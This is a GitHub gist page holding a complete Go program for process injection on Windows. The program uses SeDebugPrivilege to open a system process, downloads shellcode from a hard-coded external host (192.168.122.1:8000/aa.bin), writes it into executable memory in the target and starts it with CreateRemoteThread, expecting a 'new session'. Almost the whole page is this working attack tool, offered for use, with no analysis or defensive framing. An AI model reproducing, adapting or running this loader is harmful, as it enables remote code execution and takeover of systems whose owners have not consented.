Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Inject shellcode in a system process, leveraging SeDebugPrivilege
package main
import (
"io/ioutil"
"log"
"net/http"
"os"
"runtime"
"syscall"
"unsafe"
"github.com/Microsoft/go-winio"
)
const (
PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
MEM_COMMIT = 0x001000
MEM_RESERVE = 0x002000
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
pid = 1040
)
func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) {
r1, _, e1 := procVirtualAllocEx.Call(
uintptr(process),
addr,
uintptr(size),
uintptr(allocType),
uintptr(protect))
if int(r1) == 0 {
return r1, os.NewSyscallError("VirtualAllocEx", e1)
}
return r1, nil
}
func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) {
var nLength uint32
r1, _, e1 := procWriteProcessMemory.Call(
uintptr(process),
addr,
uintptr(buf),
uintptr(size),
uintptr(unsafe.Pointer(&nLength)))
if int(r1) == 0 {
return nLength, os.NewSyscallError("WriteProcessMemory", e1)
}
return nLength, nil
}
func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) {
var threadID uint32
r1, _, e1 := procCreateRemoteThread.Call(
uintptr(process),
uintptr(unsafe.Pointer(sa)),
uintptr(stackSize),
startAddress,
parameter,
uintptr(creationFlags),
uintptr(unsafe.Pointer(&threadID)))
runtime.KeepAlive(sa)
if int(r1) == 0 {
return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1)
}
return syscall.Handle(r1), threadID, nil
}
func magic() (err error) {
// OpenProcess
handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
if err != nil {
return
}
r, err := http.Get("http://192.168.122.1:8000/aa.bin")
if err != nil {
return
}
shellcode, err := ioutil.ReadAll(r.Body)
if err != nil {
return
}
log.Printf("[*] Opened process %d\n", pid)
hostingAddr, err := virtualAllocEx(handle, 0, uint32(len(shellcode)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
if err != nil {
return err
}
log.Printf("[*] Allocated memory at 0x%08x\n", hostingAddr)
_, err = writeProcessMemory(handle, hostingAddr, unsafe.Pointer(&shellcode[0]), uint32(len(shellcode)))
if err != nil {
return err
}
log.Printf("[*] Wrote shellcode at 0x%08x\n", hostingAddr)
attr := new(syscall.SecurityAttributes)
_, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingAddr), 0, 0)
if err != nil {
return err
}
log.Println("[*] Remote thread started, expect a new session soon.")
return
}
func main() {
winio.RunWithPrivilege("SeDebugPrivilege", magic)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment